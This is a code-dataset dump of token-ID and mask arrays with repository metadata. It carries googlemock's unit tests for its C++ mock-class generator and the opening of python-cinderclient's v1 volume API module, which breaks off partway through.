12,
257,
327,
445,
16,
446,
445,
23,
272,
30950,
12,
30950,
12,
30950,
12,
30950,
12,
30950,
12,
30950,
12,
30950,
12,
30950,
12,
257,
327,
445,
24,
446,
6035,
272,
437,
1439,
12,
437,
1439,
12,
30950,
12,
30950,
12,
30950,
12,
30950,
12,
30950,
12,
4418,
12,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
albeva/fbide
|
third-party/yaml-cpp/test/gtest-1.10.0/googlemock/scripts/generator/cpp/gmock_class_test.py
|
69
|
11712
|
#!/usr/bin/env python
#
# Copyright 2009 Neal Norwitz All Rights Reserved.
# Portions Copyright 2009 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Tests for gmock.scripts.generator.cpp.gmock_class."""
__author__ = 'nnorwitz@google.com (Neal Norwitz)'
import os
import sys
import unittest
# Allow the cpp imports below to work when run as a standalone script.
sys.path.append(os.path.join(os.path.dirname(__file__), '..'))
from cpp import ast
from cpp import gmock_class
class TestCase(unittest.TestCase):
"""Helper class that adds assert methods."""
def StripLeadingWhitespace(self, lines):
"""Strip leading whitespace in each line in 'lines'."""
return '\n'.join([s.lstrip() for s in lines.split('\n')])
def assertEqualIgnoreLeadingWhitespace(self, expected_lines, lines):
"""Specialized assert that ignores the indent level."""
self.assertEqual(expected_lines, self.StripLeadingWhitespace(lines))
class GenerateMethodsTest(TestCase):
def GenerateMethodSource(self, cpp_source):
"""Convert C++ source to Google Mock output source lines."""
method_source_lines = []
# <test> is a pseudo-filename, it is not read or written.
builder = ast.BuilderFromSource(cpp_source, '<test>')
ast_list = list(builder.Generate())
gmock_class._GenerateMethods(method_source_lines, cpp_source, ast_list[0])
return '\n'.join(method_source_lines)
def testSimpleMethod(self):
source = """
class Foo {
public:
virtual int Bar();
};
"""
self.assertEqualIgnoreLeadingWhitespace(
'MOCK_METHOD0(Bar,\nint());',
self.GenerateMethodSource(source))
def testSimpleConstructorsAndDestructor(self):
source = """
class Foo {
public:
Foo();
Foo(int x);
Foo(const Foo& f);
Foo(Foo&& f);
~Foo();
virtual int Bar() = 0;
};
"""
# The constructors and destructor should be ignored.
self.assertEqualIgnoreLeadingWhitespace(
'MOCK_METHOD0(Bar,\nint());',
self.GenerateMethodSource(source))
def testVirtualDestructor(self):
source = """
class Foo {
public:
virtual ~Foo();
virtual int Bar() = 0;
};
"""
# The destructor should be ignored.
self.assertEqualIgnoreLeadingWhitespace(
'MOCK_METHOD0(Bar,\nint());',
self.GenerateMethodSource(source))
def testExplicitlyDefaultedConstructorsAndDestructor(self):
source = """
class Foo {
public:
Foo() = default;
Foo(const Foo& f) = default;
Foo(Foo&& f) = default;
~Foo() = default;
virtual int Bar() = 0;
};
"""
# The constructors and destructor should be ignored.
self.assertEqualIgnoreLeadingWhitespace(
'MOCK_METHOD0(Bar,\nint());',
self.GenerateMethodSource(source))
def testExplicitlyDeletedConstructorsAndDestructor(self):
source = """
class Foo {
public:
Foo() = delete;
Foo(const Foo& f) = delete;
Foo(Foo&& f) = delete;
~Foo() = delete;
virtual int Bar() = 0;
};
"""
# The constructors and destructor should be ignored.
self.assertEqualIgnoreLeadingWhitespace(
'MOCK_METHOD0(Bar,\nint());',
self.GenerateMethodSource(source))
def testSimpleOverrideMethod(self):
source = """
class Foo {
public:
int Bar() override;
};
"""
self.assertEqualIgnoreLeadingWhitespace(
'MOCK_METHOD0(Bar,\nint());',
self.GenerateMethodSource(source))
def testSimpleConstMethod(self):
source = """
class Foo {
public:
virtual void Bar(bool flag) const;
};
"""
self.assertEqualIgnoreLeadingWhitespace(
'MOCK_CONST_METHOD1(Bar,\nvoid(bool flag));',
self.GenerateMethodSource(source))
def testExplicitVoid(self):
source = """
class Foo {
public:
virtual int Bar(void);
};
"""
self.assertEqualIgnoreLeadingWhitespace(
'MOCK_METHOD0(Bar,\nint(void));',
self.GenerateMethodSource(source))
def testStrangeNewlineInParameter(self):
source = """
class Foo {
public:
virtual void Bar(int
a) = 0;
};
"""
self.assertEqualIgnoreLeadingWhitespace(
'MOCK_METHOD1(Bar,\nvoid(int a));',
self.GenerateMethodSource(source))
def testDefaultParameters(self):
source = """
class Foo {
public:
virtual void Bar(int a, char c = 'x') = 0;
};
"""
self.assertEqualIgnoreLeadingWhitespace(
'MOCK_METHOD2(Bar,\nvoid(int, char));',
self.GenerateMethodSource(source))
def testMultipleDefaultParameters(self):
source = """
class Foo {
public:
virtual void Bar(int a = 42, char c = 'x') = 0;
};
"""
self.assertEqualIgnoreLeadingWhitespace(
'MOCK_METHOD2(Bar,\nvoid(int, char));',
self.GenerateMethodSource(source))
def testRemovesCommentsWhenDefaultsArePresent(self):
source = """
class Foo {
public:
virtual void Bar(int a = 42 /* a comment */,
char /* other comment */ c= 'x') = 0;
};
"""
self.assertEqualIgnoreLeadingWhitespace(
'MOCK_METHOD2(Bar,\nvoid(int, char));',
self.GenerateMethodSource(source))
def testDoubleSlashCommentsInParameterListAreRemoved(self):
source = """
class Foo {
public:
virtual void Bar(int a, // inline comments should be elided.
int b // inline comments should be elided.
) const = 0;
};
"""
self.assertEqualIgnoreLeadingWhitespace(
'MOCK_CONST_METHOD2(Bar,\nvoid(int a, int b));',
self.GenerateMethodSource(source))
def testCStyleCommentsInParameterListAreNotRemoved(self):
# NOTE(nnorwitz): I'm not sure if it's the best behavior to keep these
# comments. Also note that C style comments after the last parameter
# are still elided.
source = """
class Foo {
public:
virtual const string& Bar(int /* keeper */, int b);
};
"""
self.assertEqualIgnoreLeadingWhitespace(
'MOCK_METHOD2(Bar,\nconst string&(int /* keeper */, int b));',
self.GenerateMethodSource(source))
def testArgsOfTemplateTypes(self):
source = """
class Foo {
public:
virtual int Bar(const vector<int>& v, map<int, string>* output);
};"""
self.assertEqualIgnoreLeadingWhitespace(
'MOCK_METHOD2(Bar,\n'
'int(const vector<int>& v, map<int, string>* output));',
self.GenerateMethodSource(source))
def testReturnTypeWithOneTemplateArg(self):
source = """
class Foo {
public:
virtual vector<int>* Bar(int n);
};"""
self.assertEqualIgnoreLeadingWhitespace(
'MOCK_METHOD1(Bar,\nvector<int>*(int n));',
self.GenerateMethodSource(source))
def testReturnTypeWithManyTemplateArgs(self):
source = """
class Foo {
public:
virtual map<int, string> Bar();
};"""
# Comparing the comment text is brittle - we'll think of something
# better in case this gets annoying, but for now let's keep it simple.
self.assertEqualIgnoreLeadingWhitespace(
'// The following line won\'t really compile, as the return\n'
'// type has multiple template arguments. To fix it, use a\n'
'// typedef for the return type.\n'
'MOCK_METHOD0(Bar,\nmap<int, string>());',
self.GenerateMethodSource(source))
def testSimpleMethodInTemplatedClass(self):
source = """
template<class T>
class Foo {
public:
virtual int Bar();
};
"""
self.assertEqualIgnoreLeadingWhitespace(
'MOCK_METHOD0_T(Bar,\nint());',
self.GenerateMethodSource(source))
def testPointerArgWithoutNames(self):
source = """
class Foo {
virtual int Bar(C*);
};
"""
self.assertEqualIgnoreLeadingWhitespace(
'MOCK_METHOD1(Bar,\nint(C*));',
self.GenerateMethodSource(source))
def testReferenceArgWithoutNames(self):
source = """
class Foo {
virtual int Bar(C&);
};
"""
self.assertEqualIgnoreLeadingWhitespace(
'MOCK_METHOD1(Bar,\nint(C&));',
self.GenerateMethodSource(source))
def testArrayArgWithoutNames(self):
source = """
class Foo {
virtual int Bar(C[]);
};
"""
self.assertEqualIgnoreLeadingWhitespace(
'MOCK_METHOD1(Bar,\nint(C[]));',
self.GenerateMethodSource(source))
class GenerateMocksTest(TestCase):
def GenerateMocks(self, cpp_source):
"""Convert C++ source to complete Google Mock output source."""
# <test> is a pseudo-filename, it is not read or written.
filename = '<test>'
builder = ast.BuilderFromSource(cpp_source, filename)
ast_list = list(builder.Generate())
lines = gmock_class._GenerateMocks(filename, cpp_source, ast_list, None)
return '\n'.join(lines)
def testNamespaces(self):
source = """
namespace Foo {
namespace Bar { class Forward; }
namespace Baz {
class Test {
public:
virtual void Foo();
};
} // namespace Baz
} // namespace Foo
"""
expected = """\
namespace Foo {
namespace Baz {
class MockTest : public Test {
public:
MOCK_METHOD0(Foo,
void());
};
} // namespace Baz
} // namespace Foo
"""
self.assertEqualIgnoreLeadingWhitespace(
expected, self.GenerateMocks(source))
def testClassWithStorageSpecifierMacro(self):
source = """
class STORAGE_SPECIFIER Test {
public:
virtual void Foo();
};
"""
expected = """\
class MockTest : public Test {
public:
MOCK_METHOD0(Foo,
void());
};
"""
self.assertEqualIgnoreLeadingWhitespace(
expected, self.GenerateMocks(source))
def testTemplatedForwardDeclaration(self):
source = """
template <class T> class Forward; // Forward declaration should be ignored.
class Test {
public:
virtual void Foo();
};
"""
expected = """\
class MockTest : public Test {
public:
MOCK_METHOD0(Foo,
void());
};
"""
self.assertEqualIgnoreLeadingWhitespace(
expected, self.GenerateMocks(source))
def testTemplatedClass(self):
source = """
template <typename S, typename T>
class Test {
public:
virtual void Foo();
};
"""
expected = """\
template <typename T0, typename T1>
class MockTest : public Test<T0, T1> {
public:
MOCK_METHOD0_T(Foo,
void());
};
"""
self.assertEqualIgnoreLeadingWhitespace(
expected, self.GenerateMocks(source))
def testTemplateInATemplateTypedef(self):
source = """
class Test {
public:
typedef std::vector<std::list<int>> FooType;
virtual void Bar(const FooType& test_arg);
};
"""
expected = """\
class MockTest : public Test {
public:
MOCK_METHOD1(Bar,
void(const FooType& test_arg));
};
"""
self.assertEqualIgnoreLeadingWhitespace(
expected, self.GenerateMocks(source))
def testTemplateInATemplateTypedefWithComma(self):
source = """
class Test {
public:
typedef std::function<void(
const vector<std::list<int>>&, int> FooType;
virtual void Bar(const FooType& test_arg);
};
"""
expected = """\
class MockTest : public Test {
public:
MOCK_METHOD1(Bar,
void(const FooType& test_arg));
};
"""
self.assertEqualIgnoreLeadingWhitespace(
expected, self.GenerateMocks(source))
def testEnumClass(self):
source = """
class Test {
public:
enum class Baz { BAZINGA };
virtual void Bar(const FooType& test_arg);
};
"""
expected = """\
class MockTest : public Test {
public:
MOCK_METHOD1(Bar,
void(const FooType& test_arg));
};
"""
self.assertEqualIgnoreLeadingWhitespace(
expected, self.GenerateMocks(source))
if __name__ == '__main__':
unittest.main()
|
gpl-3.0
|
[
3381,
2647,
15,
1393,
15,
1813,
2366,
199,
3,
199,
3,
1898,
8937,
5612,
279,
653,
28495,
2900,
5924,
5702,
14,
199,
3,
20825,
1898,
8937,
4475,
3277,
14,
2900,
5924,
5702,
14,
199,
3,
199,
3,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
199,
3,
1265,
1443,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
199,
3,
2047,
1443,
3332,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
420,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
199,
3,
2428,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
199,
3,
1666,
314,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
199,
3,
4204,
1334,
314,
844,
14,
199,
199,
624,
2925,
367,
486,
1805,
14,
6429,
14,
4679,
14,
5910,
14,
71,
1805,
63,
533,
1041,
199,
199,
363,
2502,
363,
275,
283,
31203,
32,
3098,
14,
957,
334,
4698,
279,
653,
28495,
3171,
421,
199,
646,
747,
199,
646,
984,
199,
646,
2882,
199,
199,
3,
9812,
314,
7246,
8925,
5084,
370,
1736,
1380,
1255,
465,
282,
18042,
2884,
14,
199,
1274,
14,
515,
14,
740,
8,
736,
14,
515,
14,
904,
8,
736,
14,
515,
14,
3475,
3460,
493,
10139,
11541,
1333,
199,
199,
504,
7246,
492,
6073,
199,
504,
7246,
492,
486,
1805,
63,
533,
421,
199,
533,
7640,
8,
2796,
14,
1746,
304,
523,
408,
4433,
1021,
626,
9584,
702,
3102,
1041,
819,
347,
19828,
2553,
5384,
16552,
8,
277,
12,
2385,
304,
272,
408,
21332,
9186,
8139,
315,
1924,
1004,
315,
283,
1278,
23690,
272,
372,
1557,
78,
1370,
904,
779,
83,
14,
10124,
342,
367,
308,
315,
2385,
14,
1294,
2258,
78,
2023,
819,
347,
26400,
9495,
2553,
5384,
16552,
8,
277,
12,
1420,
63,
1278,
12,
2385,
304,
272,
408,
12246,
1759,
702,
626,
24010,
314,
4363,
2166,
1041,
272,
291,
14,
629,
8,
2062,
63,
1278,
12,
291,
14,
21332,
2553,
5384,
16552,
8,
1278,
430,
421,
199,
533,
7958,
10385,
774,
8,
1746,
304,
819,
347,
7958,
3767,
2980,
8,
277,
12,
7246,
63,
1365,
304,
272,
408,
7306,
445,
4176,
1350,
370,
4475,
4420,
1072,
1350,
2385,
1041,
272,
1083,
63,
1365,
63,
1278,
275,
942,
272,
327,
665,
396,
30,
365,
282,
15984,
13,
1501,
12,
652,
365,
440,
1586,
503,
5313,
14,
272,
6545,
275,
6073,
14,
6437,
2532,
2980,
8,
5910,
63,
1365,
12,
2650,
396,
5971,
272,
6073,
63,
513,
275,
769,
8,
5649,
14,
6864,
1012,
272,
486,
1805,
63,
533,
423,
6864,
10385,
8,
765,
63,
1365,
63,
1278,
12,
7246,
63,
1365,
12,
6073,
63,
513,
59,
16,
566,
272,
372,
1557,
78,
1370,
904,
8,
765,
63,
1365,
63,
1278,
9,
819,
347,
511,
3184,
3767,
8,
277,
304,
272,
1350,
275,
408,
199,
533,
8024,
469,
199,
4575,
26,
523,
5791,
1109,
12377,
7303,
199,
12084,
199,
624,
272,
291,
14,
629,
9495,
2553,
5384,
16552,
8,
267,
283,
17749,
63,
9977,
16,
8,
5281,
4202,
78,
442,
1012,
10805,
267,
291,
14,
6864,
3767,
2980,
8,
1365,
430,
819,
347,
511,
3184,
11447,
83,
3325,
872,
1426,
8,
277,
304,
272,
1350,
275,
408,
199,
533,
8024,
469,
199,
4575,
26,
523,
8024,
7303,
523,
8024,
8,
442,
671,
2736,
523,
8024,
8,
1297,
8024,
6,
289,
2736,
523,
8024,
8,
5686,
12574,
289,
2736,
523,
6146,
5686,
7303,
523,
5791,
1109,
12377,
342,
275,
378,
27,
199,
12084,
199,
624,
272,
327,
710,
31604,
436,
32133,
1077,
506,
5525,
14,
272,
291,
14,
629,
9495,
2553,
5384,
16552,
8,
267,
283,
17749,
63,
9977,
16,
8,
5281,
4202,
78,
442,
1012,
10805,
267,
291,
14,
6864,
3767,
2980,
8,
1365,
430,
819,
347,
511,
8735,
872,
1426,
8,
277,
304,
272,
1350,
275,
408,
199,
533,
8024,
469,
199,
4575,
26,
523,
5791,
6146,
5686,
7303,
523,
5791,
1109,
12377,
342,
275,
378,
27,
199,
12084,
199,
624,
272,
327,
710,
32133,
1077,
506,
5525,
14,
272,
291,
14,
629,
9495,
2553,
5384,
16552,
8,
267,
283,
17749,
63,
9977,
16,
8,
5281,
4202,
78,
442,
1012,
10805,
267,
291,
14,
6864,
3767,
2980,
8,
1365,
430,
819,
347,
511,
26090,
590,
872,
667,
30355,
11447,
83,
3325,
872,
1426,
8,
277,
304,
272,
1350,
275,
408,
199,
533,
8024,
469,
199,
4575,
26,
523,
8024,
342,
275,
849,
27,
523,
8024,
8,
1297,
8024,
6,
289,
9,
275,
849,
27,
523,
8024,
8,
5686,
12574,
289,
9,
275,
849,
27,
523,
6146,
5686,
342,
275,
849,
27,
523,
5791,
1109,
12377,
342,
275,
378,
27,
199,
12084,
199,
624,
272,
327,
710,
31604,
436,
32133,
1077,
506,
5525,
14,
272,
291,
14,
629,
9495,
2553,
5384,
16552,
8,
267,
283,
17749,
63,
9977,
16,
8,
5281,
4202,
78,
442,
1012,
10805,
267,
291,
14,
6864,
3767,
2980,
8,
1365,
430,
819,
347,
511,
26090,
590,
17735,
11447,
83,
3325,
872,
1426,
8,
277,
304,
272,
1350,
275,
408,
199,
533,
8024,
469,
199,
4575,
26,
523,
8024,
342,
275,
3145,
27,
523,
8024,
8,
1297,
8024,
6,
289,
9,
275,
3145,
27,
523,
8024,
8,
5686,
12574,
289,
9,
275,
3145,
27,
523,
6146,
5686,
342,
275,
3145,
27,
523,
5791,
1109,
12377,
342,
275,
378,
27,
199,
12084,
199,
624,
272,
327,
710,
31604,
436,
32133,
1077,
506,
5525,
14,
272,
291,
14,
629,
9495,
2553,
5384,
16552,
8,
267,
283,
17749,
63,
9977,
16,
8,
5281,
4202,
78,
442,
1012,
10805,
267,
291,
14,
6864,
3767,
2980,
8,
1365,
430,
819,
347,
511,
3184,
11954,
3767,
8,
277,
304,
272,
1350,
275,
408,
199,
533,
8024,
469,
199,
4575,
26,
523,
1109,
12377,
342,
4278,
27,
199,
12084,
199,
624,
272,
291,
14,
629,
9495,
2553,
5384,
16552,
8,
267,
283,
17749,
63,
9977,
16,
8,
5281,
4202,
78,
442,
1012,
10805,
267,
291,
14,
6864,
3767,
2980,
8,
1365,
430,
819,
347
] |
[
2647,
15,
1393,
15,
1813,
2366,
199,
3,
199,
3,
1898,
8937,
5612,
279,
653,
28495,
2900,
5924,
5702,
14,
199,
3,
20825,
1898,
8937,
4475,
3277,
14,
2900,
5924,
5702,
14,
199,
3,
199,
3,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
199,
3,
1265,
1443,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
199,
3,
2047,
1443,
3332,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
420,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
199,
3,
2428,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
199,
3,
1666,
314,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
199,
3,
4204,
1334,
314,
844,
14,
199,
199,
624,
2925,
367,
486,
1805,
14,
6429,
14,
4679,
14,
5910,
14,
71,
1805,
63,
533,
1041,
199,
199,
363,
2502,
363,
275,
283,
31203,
32,
3098,
14,
957,
334,
4698,
279,
653,
28495,
3171,
421,
199,
646,
747,
199,
646,
984,
199,
646,
2882,
199,
199,
3,
9812,
314,
7246,
8925,
5084,
370,
1736,
1380,
1255,
465,
282,
18042,
2884,
14,
199,
1274,
14,
515,
14,
740,
8,
736,
14,
515,
14,
904,
8,
736,
14,
515,
14,
3475,
3460,
493,
10139,
11541,
1333,
199,
199,
504,
7246,
492,
6073,
199,
504,
7246,
492,
486,
1805,
63,
533,
421,
199,
533,
7640,
8,
2796,
14,
1746,
304,
523,
408,
4433,
1021,
626,
9584,
702,
3102,
1041,
819,
347,
19828,
2553,
5384,
16552,
8,
277,
12,
2385,
304,
272,
408,
21332,
9186,
8139,
315,
1924,
1004,
315,
283,
1278,
23690,
272,
372,
1557,
78,
1370,
904,
779,
83,
14,
10124,
342,
367,
308,
315,
2385,
14,
1294,
2258,
78,
2023,
819,
347,
26400,
9495,
2553,
5384,
16552,
8,
277,
12,
1420,
63,
1278,
12,
2385,
304,
272,
408,
12246,
1759,
702,
626,
24010,
314,
4363,
2166,
1041,
272,
291,
14,
629,
8,
2062,
63,
1278,
12,
291,
14,
21332,
2553,
5384,
16552,
8,
1278,
430,
421,
199,
533,
7958,
10385,
774,
8,
1746,
304,
819,
347,
7958,
3767,
2980,
8,
277,
12,
7246,
63,
1365,
304,
272,
408,
7306,
445,
4176,
1350,
370,
4475,
4420,
1072,
1350,
2385,
1041,
272,
1083,
63,
1365,
63,
1278,
275,
942,
272,
327,
665,
396,
30,
365,
282,
15984,
13,
1501,
12,
652,
365,
440,
1586,
503,
5313,
14,
272,
6545,
275,
6073,
14,
6437,
2532,
2980,
8,
5910,
63,
1365,
12,
2650,
396,
5971,
272,
6073,
63,
513,
275,
769,
8,
5649,
14,
6864,
1012,
272,
486,
1805,
63,
533,
423,
6864,
10385,
8,
765,
63,
1365,
63,
1278,
12,
7246,
63,
1365,
12,
6073,
63,
513,
59,
16,
566,
272,
372,
1557,
78,
1370,
904,
8,
765,
63,
1365,
63,
1278,
9,
819,
347,
511,
3184,
3767,
8,
277,
304,
272,
1350,
275,
408,
199,
533,
8024,
469,
199,
4575,
26,
523,
5791,
1109,
12377,
7303,
199,
12084,
199,
624,
272,
291,
14,
629,
9495,
2553,
5384,
16552,
8,
267,
283,
17749,
63,
9977,
16,
8,
5281,
4202,
78,
442,
1012,
10805,
267,
291,
14,
6864,
3767,
2980,
8,
1365,
430,
819,
347,
511,
3184,
11447,
83,
3325,
872,
1426,
8,
277,
304,
272,
1350,
275,
408,
199,
533,
8024,
469,
199,
4575,
26,
523,
8024,
7303,
523,
8024,
8,
442,
671,
2736,
523,
8024,
8,
1297,
8024,
6,
289,
2736,
523,
8024,
8,
5686,
12574,
289,
2736,
523,
6146,
5686,
7303,
523,
5791,
1109,
12377,
342,
275,
378,
27,
199,
12084,
199,
624,
272,
327,
710,
31604,
436,
32133,
1077,
506,
5525,
14,
272,
291,
14,
629,
9495,
2553,
5384,
16552,
8,
267,
283,
17749,
63,
9977,
16,
8,
5281,
4202,
78,
442,
1012,
10805,
267,
291,
14,
6864,
3767,
2980,
8,
1365,
430,
819,
347,
511,
8735,
872,
1426,
8,
277,
304,
272,
1350,
275,
408,
199,
533,
8024,
469,
199,
4575,
26,
523,
5791,
6146,
5686,
7303,
523,
5791,
1109,
12377,
342,
275,
378,
27,
199,
12084,
199,
624,
272,
327,
710,
32133,
1077,
506,
5525,
14,
272,
291,
14,
629,
9495,
2553,
5384,
16552,
8,
267,
283,
17749,
63,
9977,
16,
8,
5281,
4202,
78,
442,
1012,
10805,
267,
291,
14,
6864,
3767,
2980,
8,
1365,
430,
819,
347,
511,
26090,
590,
872,
667,
30355,
11447,
83,
3325,
872,
1426,
8,
277,
304,
272,
1350,
275,
408,
199,
533,
8024,
469,
199,
4575,
26,
523,
8024,
342,
275,
849,
27,
523,
8024,
8,
1297,
8024,
6,
289,
9,
275,
849,
27,
523,
8024,
8,
5686,
12574,
289,
9,
275,
849,
27,
523,
6146,
5686,
342,
275,
849,
27,
523,
5791,
1109,
12377,
342,
275,
378,
27,
199,
12084,
199,
624,
272,
327,
710,
31604,
436,
32133,
1077,
506,
5525,
14,
272,
291,
14,
629,
9495,
2553,
5384,
16552,
8,
267,
283,
17749,
63,
9977,
16,
8,
5281,
4202,
78,
442,
1012,
10805,
267,
291,
14,
6864,
3767,
2980,
8,
1365,
430,
819,
347,
511,
26090,
590,
17735,
11447,
83,
3325,
872,
1426,
8,
277,
304,
272,
1350,
275,
408,
199,
533,
8024,
469,
199,
4575,
26,
523,
8024,
342,
275,
3145,
27,
523,
8024,
8,
1297,
8024,
6,
289,
9,
275,
3145,
27,
523,
8024,
8,
5686,
12574,
289,
9,
275,
3145,
27,
523,
6146,
5686,
342,
275,
3145,
27,
523,
5791,
1109,
12377,
342,
275,
378,
27,
199,
12084,
199,
624,
272,
327,
710,
31604,
436,
32133,
1077,
506,
5525,
14,
272,
291,
14,
629,
9495,
2553,
5384,
16552,
8,
267,
283,
17749,
63,
9977,
16,
8,
5281,
4202,
78,
442,
1012,
10805,
267,
291,
14,
6864,
3767,
2980,
8,
1365,
430,
819,
347,
511,
3184,
11954,
3767,
8,
277,
304,
272,
1350,
275,
408,
199,
533,
8024,
469,
199,
4575,
26,
523,
1109,
12377,
342,
4278,
27,
199,
12084,
199,
624,
272,
291,
14,
629,
9495,
2553,
5384,
16552,
8,
267,
283,
17749,
63,
9977,
16,
8,
5281,
4202,
78,
442,
1012,
10805,
267,
291,
14,
6864,
3767,
2980,
8,
1365,
430,
819,
347,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
ntt-sic/python-cinderclient
|
cinderclient/v1/volumes.py
|
2
|
13485
|
# Copyright 2011 Denali Systems, Inc.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""
Volume interface (1.1 extension).
"""
try:
from urllib import urlencode
except ImportError:
from urllib.parse import urlencode
import six
from cinderclient import base
class Volume(base.Resource):
"""A volume is an extra block level storage to the OpenStack instances."""
def __repr__(self):
return "<Volume: %s>" % self.id
def delete(self):
"""Delete this volume."""
self.manager.delete(self)
def update(self, **kwargs):
"""Update the display_name or display_description for this volume."""
self.manager.update(self, **kwargs)
def attach(self, instance_uuid, mountpoint):
"""Set attachment metadata.
:param instance_uuid: uuid of the attaching instance.
:param mountpoint: mountpoint on the attaching instance.
"""
return self.manager.attach(self, instance_uuid, mountpoint)
def detach(self):
"""Clear attachment metadata."""
return self.manager.detach(self)
def reserve(self, volume):
"""Reserve this volume."""
return self.manager.reserve(self)
def unreserve(self, volume):
"""Unreserve this volume."""
return self.manager.unreserve(self)
def begin_detaching(self, volume):
